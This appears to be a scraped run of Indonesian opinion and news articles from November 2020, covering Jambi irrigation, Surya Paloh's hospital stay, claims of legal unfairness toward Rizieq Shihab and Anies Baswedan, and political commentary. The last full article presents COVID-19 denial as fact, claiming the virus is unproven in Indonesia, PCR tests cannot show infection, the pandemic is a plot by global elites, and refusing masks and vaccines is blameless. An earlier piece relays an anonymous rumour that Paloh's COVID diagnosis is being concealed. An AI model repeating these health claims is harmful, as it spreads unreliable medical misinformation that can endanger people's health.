hektar luas genangan kota Jambi, dengan sistem Flood Management Centre (FMC). Dan pembangunan tempat wisata di Danau Sipin kota Jambi, untuk mengamankan genangan air. Dana APBN yang digelontorkan ke Jambi tiap tahun kian meningkat. Dana ini pastilah menjadi sandaran kesejahteraan hidup petani sawah. Dosen Teknik Univ Batanghari dan Univ Negeri Jambi Ir. M Asmuni Jatoeb,MT. memperkirakan, masyarakat petani kebun akan kembali menjadi petani sawah, kalau luasan irigasi sawah di Kerinci dan Batang Sangkir, bisa dikelola dengan baik. “Kalau tidak, ribuan luas hektar area irigasi sawah itu, siapa yang mau mengelola? Karena selama ini kita lihat banyak masyarakat petani beralih dari petani sawah ke petani kebun,” demikian Asmuni Jatoeb. Masyarakat memang harus terus didorong, dari yang tadinya masyarakat petani kebun kembali menjadi petani sawah. “Jadi kita harus dorong bagaimana masyarakat kembali ke sawah. Perlu sosialisasi ke masyarakat, termasuk melalui pergutruan tinggi, melakukan pengabdian masyarakat. Semua perlu diajak bagaimana melakukan penyuluhan dan sosialisasi ke masyarakat.” Masih menurut Asmuni, Jambi sekarang sudah berkembang. Lihat terutama sejak ada infrastruktur, kota Jambi jadi ikut berkembang. Sekarang telah dicoba dengan berbagai upaya. Kini Jambi berkembang menjadi dua kota dan sembilan kabupaten. Akses transporatsi, dulu mengandalakan transportasi sungai. Dulu di (seberang Batanghari) itu sulit dijangkau dengan transpiortasi darat. Sekarang sudah lancar. Dengan adanya dua balai (Balai Pelaksanaan Jalan Nasional dan Balai Wilayah Sungai), menurut Asmuni, perkembangannya cukup baik. Kendatipun kalau dilihat sepintas, “dalam perencanaan, Kota Jambi masih kurang terencana dengan baik. Lebih tumbuh alami. Tidak terkonsep dengan baik. Akses jalan dibuat oleh masyarakat secara suka-suka”. Dari penanaman modal, perkembangan lima tahun terahir di Jambi, bisa kita lihat pada kehadiran hotel bintang lima dan lima. “Pesat sekali. Balai sungai juga mengembangkan salah satunya Danau Sipin. Dana yang tadinya terbengkalai, kini menjadi obyek wiiata baru. Potensi sumberdaya airnya besar sekali. Cuma masih terkendala dengan akses jalan.” Karena selama ini kita lihat banyak masyarakat petani beralih dari sawah ke petani kebun, maka perlu didorong supaya masyarakat kembali ke sawah. Caranya, antara lain perlu sosialisasi ke masyarakat, khususnya melalui Perguruan Tinggi. Kegiatan pengabdian masyarakat. Perguruan Tinggi perlu diajak bagaimana melakukan penyuluhan dan sosialisasi ke masyarakat. Demikian sosialisasi seperti diakui PPK Irigasi dan Rawa I Satuan Kerja Non Vertikal Terpadu (SNVT) Pelaksana jaringan Pemanfaatan Air (PJPA) Wilayah Sungai (WS) Batanghari Prov Jambi, Edy Fahriza, ST. MT. yang menangani masalah kegiatan di daerah rawa. Targetnya untuk mengoptimalkan produksi sawah dan perkebunan. Caranya normalisasi jaringan rawa supaya sirkulasi air ke daerah rawa bisa lancar dan bisa dimanfaatkan secara maksimal oleh masyarakat. “Awalnya mereka tidak setuju. Tetapi setelah kita lakukan pendekatan dengan cara sosialisasi di awal ke masyarakat secara langsung, ternyata mau mengerti. Dimana masyarakat dikumpulkan di balai desa. Kita sosialisasi pekerjaan, dan kita kasih gambaran. Kita kasih tahu fungsi dan manfaat proyek buat apa? Barulah menangani masalah kegiatan di daerah rawa itu diterima,” kata Edy Fahriza. Pendekatan dan sosialisasi, yang bahkan diharapkan tidak berhenti hanya di penggambaran manfaat dari sebuah proyek. Tetapi juga bisa sampai ke edukasi masyarakat. Misalnya, untuk bersama-sama bisa saling menjaga sungai-sungai ke depan. “Kita punya upaya non struktural/non fisik seperti sinergi antar Kementerian/Lembaga dan komunitas peduli sungai, dan komunitas penghijauan kawasan hulu sungai. Komunitas ini yang melakukan edukasi kepada masyarakat untuk tidak membuang sampah ke sungai,” kata Dirjen SDA Kementerian PUPR Jarot Widyoko dalam suatu kesempatan. Seperti halnya refleksi tanggungjawab seorang pejabat dirjen hingga PPK. Dimana pun, setiap orang juga merasa kental dengan profesinya, dengan bidang usahanya masing-masing. Hari ini melihat perubahan, bisa jadi besok pagi ia berharap. Akademisi Universitas Jambi, salah satunya. Jambi menuju kota bisnis diakui Prof.Dr. Bahder Johan Nasution, Ketua Program Studi Magister Ilmu Hukum Universitas Jambi, yang juga Ketua Assosiasi Pengajar Hukum Tata Negara dan Hukum Administrasi Negara Provinsi Jambi. “Kalau wisata alam di Jambi memang dari dulu tidak seperti daerah lain yang punya nilai jual lebih. Tetapi kalau dibilang kota bisnis itu sangat tepat. Karena perkembangan ekonomi, bisnis, industri di Jambi dari tahun ke tahun selalu meningkat”. Menurut Prof Bahder, sejauh ini tidak ada konflik antara pemerintah dan masyarakat menyangkut lahan kalau untuk pembangunan jalan. “Sepanjang yang saya ketahui tidak ada kasus-kasus untuk hal-hal seperti itu. Cuma, pemerintah Jambi masih kurang promosi tentang produk Jambi sebagai kota bisnis. Itu bisa kita lihat misalnya di bandara. Masih perlu banyak pengembangan home industri di bandara yang memacu pertumbuhan bisnis“. Yang lain adalah Jumali yang akrab disapa Ali (37). Pengusaha rumah makan Aroma Cempaka di Jambi yang sudah bergerak sejak 1987. Sebagaimana daerah lain di Indonesia, ia mengaku perekonomian di Jambi juga ada grafik naik. Ada perubahan bagi pelaku bisnis. “Jambi lebih pas kota bisnis. Usaha-usaha apapun di Jambi mendukung, karena orang cenderung putar uang bagus di Jambi. Kalau kota wisata salah masuk dia ke Jambi. Kendatipun masalah lahan tidur (lahan yang tidak dimanfaatkan) masih cukup banyak di Jambi sebagai isu strategis lokal, namun makin jelaslah. Mau daerah baru atau jauh. Kini saatnya manjakan petani di Jambi dengan infrastruktur sumberdaya air. Apakah akan selesai? Belum. (bersambung).

Surya Paloh DBD, Atau Positif Covid Juga?

by Luqman Ibrahim Soemay Jayapura FNN – Kamis (19/11). Rabu kemarin media massa nasional ramai memberitakan Ketua Umum Partai Nasdem dilarikan ke Rumah Sakit Pusat Angkatan Darat (RSPAD). Surya dirawat di RSPD karena Demam Berdarah Donggie (DBD). Demikian tulis Kompas.com Rabu kemarin (18/11/2020). “Semalam saat diperiksa oleh tim dokter, trombosit Pak Surya memang menurun. Meski masih dalam batas yang nomal, “ujar Ketua Bidang Media dan Komunikasi Publik DPP Partai Nasdem, Charles Meikyansah. Charles menambahkan, “Surya dirawat di RSPAD sejak Selasa malam atas permintaan sendiri, guna mendapatkan perawatan yang lebih baik”. Lebih lanjut , Charles mengatakan, kondisi Surya Paloh saat ini sudah mulai membaik. Charles berharap, Surya dapat kembali sembuh. “Kami memohon do’a dari semuanya. Insya Allah Pak Surya cepat sembuh dan kembali beraktivitas seperti biasa, “pungkasnya. Apakah Hanya DBD? Terkait dengan DBD yang diderita Pak Surya Paloh sejak Selasa kemarin itu, kita sepakat untuk mendo’akan semoga Allah Subhanahu Wata’ala segera menyembuhkannya. Semoga Allah Subhanahu Wata’ala segera mengangkat segala penyakit yang diderita Pak Surya Paloh. Baik itu DBD maupun penyakit-penyakit lain yang ada di dalam tubunya Pak Surya Paloh. Semoga Pak Surya Paloh sembuh dan sehat lagi, sehingga bisa segera keluar dari RSPAD. Semoga Pak Surya Paloh dapat kembali beraktivitas seperti biasa. Sebagai Panglima Besar restorasi, semoga Pak Surya Paloh kembali sehat untuk memimpin dan mengawal pelaksanaan restorasi yang masih mandeg. Baik itu restorasi di internal Partai Nasdem maupun bangsa. Namun pertanyaannya, apakah Surya Paloh hanya terkena DBD saja? Apaklah Pak Surya Paloh tidak terjangkit penyakit lain? Misalnya, bagaimana kalau Surya Paloh selain terkena DBD, juga terpapar virus covid 19? Apakah tetap dikondisikan untuk mengatakan bahwa Pak Surya hanya terkena DBD saja? Sangat tidak bijak kalau Pak Suya Paloh yang hanya terkena DPD. Tetapi dipaksakan untuk mengatakan, Pak Surya Paloh juga terkena penyakit selain DPD. Namun menjadi sangat menghawatirkan kita semua, bila Pak Surya Paloh kemungkinan terjangkit penyakit lain, covid 19 misalnya, tetapi mau dipaksakan untuk mengatakan bahwa Pak Surya Paloh hanya terkena DPD. Menyampaikan informasi yang sebenarnya menganai penyakit yang diderita Pak Surya Paloh selian DBD itu, menjadi sangat penting. Apakah Pak Surya Paloh sekarang hanya ansih terkena DPD? Atau selain DPD, Pak Surya Paloh juga positif terpapar covid 19? Ini menjadi penting, karena berkaitan dengan cara dan metodologi yang harus digunakan dalam penanganan terhadap Pak Surya Paloh. Kalau Pak Surya Paloh hanya terkana DPD, maka tidak perlu untuk diisolasi. Namun jika selain DBD, misalnya Pak Surua Paloh juga positif terpapar covid 19, maka penangannya menjadi berbeda lagi. Pak Surya Paloh perlu diisolasi di ruangan khusus. Ruangan isolasi untuk mencegah Pak Surya Paloh kemungkinan menjangkitkan kepada orang lain yang bersentuhan dengannya. Memproduksi Cluster Baru Sementara itu, berdasarkan infomasi A1 (katagori lingkaran satu) yang didapat Portal Berita Online FNN.co.id dari sumber yang sangat terpercaya, Surya Paloh sekarang positif terpapar covid 19. Meski demikian, sampai sekarang belum ada pernyataan resmi yang menyatakan kalau Surya Paloh positif terpapar covid 19. Baik itu pernyataan dari pihak RSPAD maupun Partai Nasdem. Tragisnya, Pak Surya Paloh sekarang ditangani di RSPAD bukan dengan pendekatan dan protokol pasien yang positif terpapar covid 19. Pak Surya Paloh tidak diisolasi di ruangan khusus. Pak Surya Paloh ditangani layaknya pasien DBD biasa. Sehingga kenyataan ini telah menimbulkan keresahan yang sangat tinggi di kalangan sebagian tenaga medis yang bekerja di RSPAD yang mengetahui informasi ini. Sebab setiap saat bisa menciptakan cluster baru covid 19 di RSPAD. Padahal, berdasarkan penelusuran yang dilakukan FNN.co.id, Pak Surya Paloh telah dengan legowo (besar hati) bersedia untuk ditangani berdasarkan protokol covid 19. Hanya saja, kebijakan menejemen RSPAD yang belum mau untuk mengumumkan bahwa Pak Surya Paloh positif terpapar covid 19. Belum diketahui, apa pertimbangan manajemen RSPAD, sehingga belum diumumkan? Babaiknya RSPAD perlu mengumumkan kalau Pak Surya Paloh positif terpapar covid 19. Dengan demikian, cara dan metode penanganan didasarkan pada protokol covid 19 yang sudah ditetapkan WHO. Toh, virus laknat covid 19 bukanlah penyakit yang memalukan. Bukan aib yang perlu untuk disembunyikan dari publik. Malah sebaliknya. Perlu disampaikan kepada publik untuk berjaga-jaga, dan meningkatkan kewaspadaan dalam rangka memutus mata rantai penularan. Banyak kepala kepala negara dan pemerintahan dunia yang sudah dinyatakan positif terpapar covid 19. Misalnya, Perdana Menteri Inggris Boris Johnson, Presiden Amerika Donald Trump, Presiden Brasil Jair Balsonaro, dan Presiden Balarusia Alexander Lukashenko. Pejabat negara seperti Menteri Perhuhubungan Budi Karya Sumadi pernah positif terpapar covid 19. Infor tentang Budi Karya ini diumumkan terbuka kepada publik. Alhamdulillah wasyukurillaah, Pak Budi Karya sekarang sudah sembuh. Semoga Pak Surya Paloh juga segera sembuh, amin amin amin ya robbii. Penulis adalah Wartawan Senior FNN.co.id.

Ketidakadilan Hukum Kepada HRS & Anies

by M Rizal Fadillah Bandung FNN – Kamis (19/11). Al-Qur'an Surat Annisa 58 mengingatkan kepada orang yang beriman dan juga umat manusia tentang dua hal. Kedua hal tersebut sangat relevan dengan peran kepemimpinan yang sedang diambannya. Pertama, perlunya menunaikan amanat. Dan amanat itu harus teralokasi kepada yang berhak (innallaha ya'murukum an tu-addul amanati ilaa ahliha). Amanat rakyat harus kembali kepada rakyat, bukan hanya sampai kepada keluarga, kerabat atau kroni. Kedua, jika menegakkan hukum, maka tegakkan dengan adil (wa Idza hakamtum bainan naas an tahkumuu bil adl). Keadilan adalan nilai tertinggi dalam hukum. Asas keadilan adalah kesamaan kedudukan di depan hukum (equality before the law). Konstitusi negara RI menjamin asas kesamaan kedudukan tersebut sebagai konsekuensi dari prinsip negara hukum. Fenomena tersebut sekarang di negeri ini, terutama pada dua hal di atas amburadul atau acak-acakan. Amanat jabatan dikhianati dan rakyat tidak menjadi prioritas. Banyak pejabat yang lebih mementingkan diri, keluarga, dan kroni. Akibatnya korupsi, kolusi, nepotisme merajalela. Itu dilakukan secara bersama-sama, terang-terangan dan tanpa rasa malu. Pelaksanaan hukum aktual menampilkan wajah ketidakadilan. Covid 19 telah menjadi tongkat pemukul untuk memukul siapa saja yang dikehendaki. Ada yang dipukul dengan keras. Namun ada yang nyaman-nyaman saja karena sengaja memukul angin. Habib Rizieq Shihab (HRS) dan Anies Baswedan dipukul dengan keras, karena adanya "kerumunan" banyak orang. Dampaknya dua Kapolda dan dua Kapolres dicopot dari jabatannya. Wilayah DKI Jakarta dan Jawa Barat menjadi sasaran pukulan itu. Di sisi lain, kerumunan di acara Kliwonan Habib Luthfi yang menjadi anggota Watimpres di Pekalongan dan Long march 9.000 Banser di Banyumas Jawa Tengah lancar-lancar saja. Untuk dua acara ini, tanpa teguran. Apalagi sampai pencopotan Kapolda dan Kapolres segala. Begitu juga tanpa ada pemanggilan Gubernur Jawa Tengah. Maklum dia kader PDIP. Pendaftaran KPU anak Presiden Gibran Rakabuming di Solo dengan kerumunannya juga aman-aman saja. Sementara di Medan, menantu Presiden Jokowi, Bobby Nasution dan kerumunan Pilkada lain sami mawon. Satu kalimat cukup untuk ini adalah "ketidakadilan hukum". Rakyat sudah tahu dan merasakan bahwa Pemerintahan Jokowi tidak adil. Banyak mempermainkan hukum untuk kepentingan politik. Dari mulai Perppu, RUU HIP, UU Omnibus Law, UU ITE, hingga Covid 19 yang menjadi alat pemukul untuk memberangus lawan-lawan politik. Kini dua tokoh menjadi target, yaitu HRS dan Anies. Akan tetapi magnet keduanya dipastikan juga cukup kuat untuk meraih simpati dan dukungan rakyat. Bisa dibayangkan ketika keduanya mengikuti tahapan proses pemeriksaan Polisi, bahkan mungkin juga di Pengadilan nanti. Rakyat dan umat akan ikut berkerumun membesar dengan dukungan dahsyat. Gelombang perlawanan dapat bereskalasi di luar dugaan. Rezim Jokowi telah membuka jalan bagi peningkatan kejengkelan bahkan kemarahan. Di belahan dunia manapun, dan sejarah kapanpun telah dibuktikan bahwa ketidakadilan adalah gerbang strategis dari perubahan. Kembali kepada ayat Qur’an Surat Annisa 58 di atas, maka soal amanat dan keadilan merupakan pelajaran sempurna dari Allah "Innallaha ni'imma ya'idhukum bih". Urusan amanat yang dikhianati atau hukum yang dijauhkan dari keadilan, maka "Innallaha kaana samii'an bashiiro"-- Sesungguhnya Allah SWT Maha Mendengar dan Maha Melihat. Jika Allah SWT sudah membuat keputusan atas dasar Pendengaran dan Penglihatannya. Maka tak ada suatu kekuatan apapun yang bisa mencegah dan menghindar dari hukuman-Nya. Na'udzubillah min dzalik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Antara Anies dan Penyidik, Mushalla Kecil Itu Jadi Saksi

by Tony Rosyid Jakarta FNN – Kamis (19/11). Manusia boleh berencana dan merekayasa, tetapi Tuhan yang menjadi penentu takdirnya. Banyak peristiwa tak terduga telah menyadarkan kita betapa Tuhan ada dan hadir dalam kehidupan kita. Dengan iman, ada kepasrahan dan petunjuk jalan. Iman menuntun dan memberi kemampuan untuk menjemput keputusan takdir-Nya Allah Subhanahu Wata’ala. Pahit-manis dan suka-duka, itu hanya panampakan di dalam perasaan manusia belaka. Karena hidup itu pada hakekatnya adalah kejujuran. Allahu Akbar... Allahu Akbar... Takbir adzan itu hanya bisa dirasakan oleh hati-hati yang di dalamnya Tuhan memberikan tempat. Tuhan tak hadir pada manusia yang tidak merasa butuh, apalagi alergi mendengar suara takbir-Nya. Mushalla kecil di pojok ruangan Polda Metro Jaya itu jadi saksi. Di sela-sela pemeriksaan, Anies datang menyambut panggilan itu. Kali ini bukan polisi yang panggil, tetapi Tuhan. Allah Pemilik Semua Istana. Istana langit maupun istana merdeka. Ditinggalkannya para penyidik, lalu Anies datang ke tempat dimana takbir itu memanggil. Tak ada yang bisa menghalangi saat penguasa alam ini berkehendak. Anies keluar dari ruang pemeriksaan dan melangkah ke mushalla kecil itu. Ambil air wudhu, lalu shalat dhuhur empat raka'at. Begitu juga saat waktu ashar tiba. Panggilan Tuhan tetap yang utama. Otentik, tanpa rekayasa. Anies datang tanpa beban, karena Tuhan yang memanggil itu sungguh Maha Adil dan Penyayang. Arsy Tuhan beda dengan istana manusia yang sarat dengan intrik dan tekanan. Matahari merangkak pulang. Gelap datang merayap tanda waktu magrib tiba. Adzan lagi-lagi berkumandang. Muadzin di mushalla mensosialisasikan takbir Tuhan. Ayo Shalat. Waktunya menghadap Tuhan, kata muadzin itu. Keluar dari ruangan, Anies bergegas ke mushalla. Sampai di Mushalla, Gubernur DKI ini didaulat menjadi imam. Jika anda jadi imam shalat dhuhur dan ashar, nggak perlu takut. Karena nggak ada yang tahu bagaimana kualitas bacaan anda. Salah benar, hanya Tuhan yang tahu. Mungkin anda sendiri juga nggak tahu. Tidak usah ragu. Orang juga nggak tahu anda paham atau tidak arti ayat yang anda baca. Yang penting di imam sholat dhuhur dan ashar adalah pastikan jumlah raka'at anda benar. Usahakan takbir anda agak sedikit fasih. Terutama jika ada kamera sedang menyorot anda. Bagaimana jika anda ditawari jadi imam shalat magrib? Untuk yang ini anda harus ukur diri. Tajwid, fashahah dan penghayatan makna mesti anda perbaiki dulu sebelum anda menyanggupi tawaran itu. Jangan gara-gara kamera, anda bersemangat terima tawaran dan nggak peduli defisit kemampuan. Tak ragu, tak ada was was, Anies maju dan menjadi imam shalat magrib. Nampak memang ia terbiasa jadi imam. Baik imam shalat, maupun imam di luar shalat. Allahu Akbar, shalat dimulai. Raka'at pertama, Anies membaca al-Fatihah. Ini bacaan wajib. Tanpa al-Fatihah, tidak sah shalatnya. Kecuali bagi pengikut mazhab Hanafi. Setelah membaca al-Fatihah, Anies membaca surat al-Insyirah. Ini surat pilihan. Mengapa Anies memilih surat al-Insyirah? Kita perlu tahu apa kandungan di dalam surat al-Insyirah itu. Dari situ kita akan bisa membaca apa maksud Anies memilih untuk membaca surat ke-94 ini. Surat al-Insyirah, "Tidakkah Kami (Allah) telah melapangkan dadamu. Dan Kami telah meletakkan darimu bebanmu. Yang telah membebani punggungmu. Dan Kami telah tinggikan namamu. Sesungguhnya di dalam kesulitan ada kemudahan. Sesungguhnya di dalam kesulitan ada kemudahan. Jika kamu sudah selesai, lanjutkan pekerjaan. Dan kepada Tuhanmu hendaknya engkau berharap" Surat al-Insyirah menjelaskan pertama, tentang perlunya kelapangan dada. Kedua, kelapangan dada membuat semua beban ditanggalkan. Ketiga, dari situlah sebuah nama akan diangkat dan ditinggikan. Keempat, bahwa setiap kesulitan selalu ada kemudahan Dua kali narasi ini diungkapkan dalam surat itu. Berarti, ini sunnatullah. Kelima, perintah untuk move on. Selesai satu urusan, lanjut urusan yang lain. Jangan diratapi. Nggak boleh baper. Ketujuh, tetap rendah hati, dan sadari bahwa semua itu Tangan Tuhan yang menggerakkan. Karena itu, jadikan Tuhan sebagai kiblat dan arah tujuan. Kandungan surat al-Insyirah yang sengaja dipilih Anies di raka'at pertama seolah menggambarkan situasi obyektif yang sedang dihadapinya. Ada kesadaran bahwa untuk menghadapi masalah perlu berlapang dada. Dengan begitu, semua kesulitan akan menjadi mudah. Badai akan berlalu, dan bersegeralah untuk move on. Kemudian melanjutkan tugas berikutnya. Kalau peristiwa ini menyebabkan banjir dukungan dan nama makin ditinggikan, itu bonus, sebagaimana ayat itu telah mengkonfirmasinya. Anies sepertinya mengerti betul kandungan makna dari surat yang dibacanya. Faktual dan kontekstual. Tepat dengan situasi yang sedang dihadapinya. Dari surat ini, sepertinya Anies menjadikannya sebagai pondasi dan referensi untuk menghadapi persoalan yang sedang menimpanya. Raka'at kedua Anies membaca al-Fatihah lagi. Ini surat yang wajib dibaca. Setelah membaca al-Fatihah, Anies membaca surat al-Baqarah 286, sebagai ayat pilihan. Surat al-Baqarah ayat 286 berbunyi, "Allah tidak membebani seseorang melainkan sesuai dengan kesanggupannya. Ada pahala untuk kebajikan yang diperbuatnya, dan ada siksa untuk kejahatan yang dilakukannya....." Membaca ayat ini Anies sepertinya sadar betul. Pertama, betapa Tuhan selalu bertindak proporsional. Mengukur kemampuan sebelum pelajaran itu diturunkan kepada setiap hamba. Kedua, benar-salah dan baik-buruk, semua akan dipertanggungjawabkan. . Membaca ayat ini memberi keyakinan dan optimisme Anies bahwa setiap masalah pasti bisa diselesaikan. Karena itu, hadapi saja. Jangan pernah lari dan hindari masalah. Apakah itu masalah beneran atau direkayasa, hadapi. Toh salah-benar dan baik-buruk, sejarah akan membuka dan pasti akan meminta tanggung jawabnya. Anies hadir di Polda Metro Jaya, tepat waktu. Meski pemanggilan terkesan tergesa-gesa dan mendadak. Anies datang, hadapi dan jawab 33 pertanyaan. Rakyat menunggu sejarah membuka fakta-fakta yang sebenarnya. Dua surat pilihan yang dibaca Anies dalam shalat magrib bisa jadi "rujukan" bagi setiap warga negara yang dipanggil dan sedang menghadapi penyidik. Di dalam kedua surat itu, selain bicara kemudahan, juga menyinggung soal salah dan benar yang masing-masing ada tanggung jawabnya. Penulis Pengamat Politik dan Pemerhati Bangsa

FPI Pesta Pora, Pendukung Istana Ambyar (bagian 2)

Kabinet Joko Widodo terpecah dalam menyikapi kepulangan dan berbagai kegiatan HRS. By Mangarahon Dongoran Jakarta, FNN - Rabu (18/11). Kepulangan Habib Rizieq Shihab (HRS) ke tanah air telah membawa banyak perdebatan dan caci-maki dari pendukung Istana. Bahkan, ketika HRS mengumumkan sendiri jadwal kepulangannya dari Tanah Suci Mekah, banyak pejabat negara dan bahkan menteri yang sewot. Sebut saja Menteri Koordinator Politik dan Hukum, Mahfud MD yang mengeluarkan dua pernyataan yang sangat menyakitkan pendukung dan simpatisan HRS. Pernyataan pertama ketika ia menyebut HRS bukan merupakan orang suci. Jumlah pengikut FPI sedikit jika dibandingkan dengan jumlah umat Islam secara keseluruhan di Indonesia. Kedua, Mahfud mengatakan, jika penjemput Habib Rizieq melakukan perusakan akan disikat. "Nah kalau membuat kerusakan itu berarti bukan pengikutnya Habib Rizieq, kita sikat, gitu. Kalau dia membuat kerusuhan," kata Mahfud seperti dikutip dari RRI. Kedua pernyataan ini pun mendapatkan reaksi keras dari berbagai pihak. Sebab, pernyataan tersebut tidak pantas diucapkan seorang pejabat publik. Mestinya, Mahfud mengeluarkan pernyataan yang semakin menyejukkan dan mendinginkan suasana. Apalagi kata, sikat, yang menunjukkan ancaman kepada penjemput HRS kalau membuat onar. Sikat menimbulkan konotasi ancamam yang sangat tidak pantas. Kata itu lebih pantas dikemukakan oleh pejabat-pejabat yang duduk di pemerintahan otoriter, bukan di negara demokrasi. Saya tidak mau mengatakan atau menilai negara sekarang menuju otoriter, dan mulai meninggalkan demokrasi. Akan tetapi, biarlah masyarakat yang menilai, melihat dan merasakannya. Karena mendapat kritikan tajam dan malah diejek di berbagai media, akhirnya Mahfud melunak. Sehari sebelum HRS menginjakkan kaki di tanah air, Mahfud meminta agar aparat kepolisian tidak perlu represif. Ia meminta agar polisi mengamankan kepulangan HRS biasa saja. "Aparat tidak usah terlalu berlebih-lebihan ini masalah biasa saja anggap hal yang reguler," kata Mahfud di Kantor Kemenko Polhukam, Jakarta, Senin (9/11/2020). Memancing Kemarahan Ya, ucapan-ucapan Mahfud sebelumnya dianggap provokatif guna memancing kemarahan pendukung dan simpatisan HRS dan FPI. Sebab, pernyataannya itu semakin memanaskan situasi di tengah perseteruan antara HRS dan FPI dan juga Persaudaraan Alumni 212 dengan pemerintah. Apa pun yang disampaikan Mahfud, pasti dianggap berusaha memojokkan HRS dan para pendukung serta simpatisannya. Ibarat api yang masih kecil, pernyataan itu bisa menjadi bensin penyulut kemarahan rakyat. Apalagi keadaan sekarang, ibarat api dalam sekam. Kalau ada yang menyulut kemarahan, rakyat akan marah di tengah ekonomi yang sangat sulit dan menyusahkan rakyat. Banyak yang maklum mengapa Mahfud MD mengeluarkan pernyataan bukan merupakan orang suci, pengikut FPI sedikit, dan main sikat. Sebab, suara pemerintah atas kepulangan HRS terpecah. Ya, kabinet pemerintahan Joko Widodo pun ambyar dalam menyikapi kepulangan dan kegiatan HRS sejak tiba di tanah air. Menurut Kamus Besar Bahasa Indonesia Online, ambyar artinya bercerai-berai; berpisah. Tidak konsentrasi lagi. ** (bersambung). Penulis adalah wartawan senior FNN.co.id

Analisis Intelektual dan Spiritual terhadap Isu Pandemi

by Setyo Hajar Dewantoro Jakarta FNN - Rabu (18/11). Fakta yang kita bisa buktikan bersama-sama selama 9 bulan belakangan ini adalah "Destruksi yang terjadi pada kehidupan kita terjadi karena kebijakan bukan karena virus. Yang membuat anak-anak kehilangan kesempatan bersukacita bersama-sama dengan teman-temannya di sekolah bukanlah virus, tapi penetapan kebijakan sekolah online. Banyak pegawai kehilangan pekerjaan, banyak pekerja serabutan dan pengusaha beragam skala kehilangan nafkah, juga bukan karena virus tapi karena kebijakan PSBB yang membatasi geliat ekonomi." Sampai detik ini, sebetulnya tak ada yang bisa membuktikan bahwa di Indonesia ini ada virus yang sama dengan di Wuhan, dan orang di Indonesia tertular oleh siapapun yang pernah ke Wuhan. Yang pasti, semua nujuman seram tentang kematian massal di jalan-jalan karena serangan virus sama sekali tak terjadi. Death ratio di Indonesia tak berubah. Yang ada adalah orang-orang tak bergejala sakit tapi divonis sakit, dan segala bentuk sakit yang lain yang biasa terjadi di Indonesia diklaim sebagai fakta bahwa virus seperti yang di Wuhan itu ada dan bahaya. Tentang pernyataan ini, kita tak usah berdebat konyol: tunjukkan saja jurnal ilmiah hasil riset yang serius bahwa di Indonesia memang ada virus seperti di Wuhan dan memenuhi gold standar sebab akibat bahwa itulah yang menjadi penyebab infeksi dan sakit banyak orang di Indonesia. Kehebohan di Indonesia terjadi karena hasil test PCR yang setelah kita pelajari bersama kita jadi mengerti bahwa test itu sama sekali tak bisa membuktikan adanya infeksi, hanya menunjukkan ada materi genetik yang "disimpulkan sebagai virus". Di sini ada dua pendapat yang berbeda tetapi sama-sama menegaskan bahwa menentukan bahwa di Indonesia ada pandemi berdasarkan test PCR adalah gegabah: Test PCR benar-benar bisa mengindentifikasi keberadaan virus seperti di Wuhan (catat, seperti atau mirip, bukan sama) - tapi tidak bisa memastikan itu virus mati arah hidup, alat ini tak bisa membedakan orang sekadar terpapar dan terinfeksi.Test PCR sebenarnya tidak memastikan dengan pasti keberadaan virus seperti di Wuhan karena yang diidentifikasi itu belum dimurnikan, bisa saja itu adalah virus lain, bakteri, atau eksosom. Jika kita mengerti itu semua, kita bisa simpulkan bahwa yang terjadi saat ini bukanlah FENOMENA NATURAL dimana alam semesta sedang menyeimbangkan dirinya dengan memunculkan virus tertentu. Sama sekali bukan, yang terjadi sekarang hanyalah FENOMENA SOSIAL POLITIK yang dirancang para global player dan kolaboratornya. Selanjutnya, mari kita lihat secara spiritual fenomena ini, secara lebih spesifik siapa saja yang pasti berdosa dan pasti ngunduh wohing pakarti dalam keadaaan ini. Yang pasti, siapapun yang memilih tidak bermasker, tetap berjalan-jalan, tetap menghidupkan perekonomian, tetap berkegiatan sosial budaya - TIDAK MENANGGUNG DOSA ATAU KARMA BURUK. Mereka hanya salah dimata hukum pemerintah tapi tak salah secara hukum kosmik. Secara hukum kosmik atau hukum Tuhan, orang berkerumun di masa sekarang sama sekali tidak salah dan tidak akan menanggung hukuman Tuhan baik sekarang maupun nanti. Demikian juga, menolak vaksin bukanlah kesalahan di hadapan hukum kosmik atau hukum Tuhan (Jika ada yang menyangkal, mari kita buktikan dengan berbagai cara yang mungkin - saya sebagai guru meditasi terbiasa mendeteksi tubuh karma banyak orang untuk mengukur kadar karma buruk di situ). Secara hukum kosmik atau hukum Tuhan, yang BERSALAH dan pasti ngunduh wohing pakarti atau memetik resiko perbuatannya kini atau kelak adalah : Siapapun yang membuat kebijakan tanpa dasar sains yang akurat, tanpa juga dilandasi petunjuk Tuhan, lalu membuat susah banyak orang. Termasuk di sini adalah yang dengan otoritasnya membuat penetapan status pandemi, menerapkan PSBB, menetapkan pemaksaan penggunaan masker dan prokes ala WHO lainnya (Jika ada di lapangan penyimpangan dan penyalahgunaan dengan memanfaatkan kebijakan itu, karma buruknya semakin bertumpuk.) Siapapun yang memanfaatkan situasi ini untuk memperkaya diri dengan bisnis APD dan alkes yang sebetulnya tidak urgent. Siapapun yang memaksakan vaksin tanpa menimbang bahaya dan urgensinya, apalagi semata-mata menimbang dalam proyek vaksin ini ada keuntungan trilyunan rupiah untuk modal kampanye Pilpres 2024. Saya menyaksikan secara jiwa sebetulnya semua pelaku sudah ngunduh wohing pakarti, ada resiko yang sangat pedih yang sudah mulai ditanggung. Tapi ini belum final karena fisiknya masih ada dan sehat, masih ada kesempatan untuk memperbaiki diri atau bertobat. Setelah tulisan ini saya akan semakin jarang membahas issue ini. Sudah banyak orang termasuk para dokter yang memberikan pandangan yang konstruktif. Inilah momennya rakyat mendengar pendapat-pendapat yang lebih sehat dan benar. Saya tetap bekerja tapi dengan cara lain. Jiwa raga saya pertaruhkan untuk keselamatan bangsa ini. Penulis adalah seorang spiritualis.

Mega Bilang Jakarta Amburadul, Rakyat Bilang Indonesia Ambyaradul

